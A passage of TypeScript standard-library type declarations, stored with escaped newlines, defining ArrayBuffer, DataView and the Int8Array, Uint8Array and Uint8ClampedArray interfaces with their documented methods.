Allowed ArrayBuffer types for the buffer of an ArrayBufferView and related Typed Arrays.\\n */\\ninterface ArrayBufferTypes {\\n    ArrayBuffer: ArrayBuffer;\\n}\\ntype ArrayBufferLike = ArrayBufferTypes[keyof ArrayBufferTypes];\\n\\ninterface ArrayBufferConstructor {\\n    readonly prototype: ArrayBuffer;\\n    new(byteLength: number): ArrayBuffer;\\n    isView(arg: any): arg is ArrayBufferView;\\n}\\ndeclare const ArrayBuffer: ArrayBufferConstructor;\\n\\ninterface ArrayBufferView {\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    byteOffset: number;\\n}\\n\\ninterface DataView {\\n    readonly buffer: ArrayBuffer;\\n    readonly byteLength: number;\\n    readonly byteOffset: number;\\n    /**\\n      * Gets the Float32 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getFloat32(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Float64 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getFloat64(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Int8 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getInt8(byteOffset: number): number;\\n\\n    /**\\n      * Gets the Int16 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getInt16(byteOffset: number, littleEndian?: boolean): number;\\n    /**\\n      * Gets the Int32 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getInt32(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Uint8 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getUint8(byteOffset: number): number;\\n\\n    /**\\n      * Gets the Uint16 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getUint16(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Uint32 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getUint32(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Stores an Float32 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setFloat32(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Float64 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setFloat64(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Int8 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      */\\n    setInt8(byteOffset: number, value: number): void;\\n\\n    /**\\n      * Stores an Int16 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setInt16(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Int32 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setInt32(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Uint8 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      */\\n    setUint8(byteOffset: number, value: number): void;\\n\\n    /**\\n      * Stores an Uint16 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setUint16(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Uint32 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setUint32(byteOffset: number, value: number, littleEndian?: boolean): void;\\n}\\n\\ninterface DataViewConstructor {\\n    new(buffer: ArrayBufferLike, byteOffset?: number, byteLength?: number): DataView;\\n}\\ndeclare const DataView: DataViewConstructor;\\n\\n/**\\n  * A typed array of 8-bit integer values. The contents are initialized to 0. If the requested\\n  * number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Int8Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Int8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Int8Array) => any, thisArg?: any): Int8Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Int8Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Int8Array) => number, thisArg?: any): Int8Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Int8Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Int8Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Int8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Int8Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Int8Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\ninterface Int8ArrayConstructor {\\n    readonly prototype: Int8Array;\\n    new(length: number): Int8Array;\\n    new(array: ArrayLike<number>): Int8Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Int8Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Int8Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Int8Array;\\n\\n\\n}\\ndeclare const Int8Array: Int8ArrayConstructor;\\n\\n/**\\n  * A typed array of 8-bit unsigned integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint8Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint8Array) => any, thisArg?: any): Uint8Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint8Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint8Array) => number, thisArg?: any): Uint8Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint8Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint8Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint8Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint8Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint8ArrayConstructor {\\n    readonly prototype: Uint8Array;\\n    new(length: number): Uint8Array;\\n    new(array: ArrayLike<number>): Uint8Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint8Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint8Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Uint8Array;\\n\\n}\\ndeclare const Uint8Array: Uint8ArrayConstructor;\\n\\n/**\\n  * A typed array of 8-bit unsigned integer (clamped) values. The contents are initialized to 0.\\n  * If the requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint8ClampedArray {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => any, thisArg?: any): Uint8ClampedArray;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint8ClampedArray) => number, thisArg?: any): Uint8ClampedArray;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: 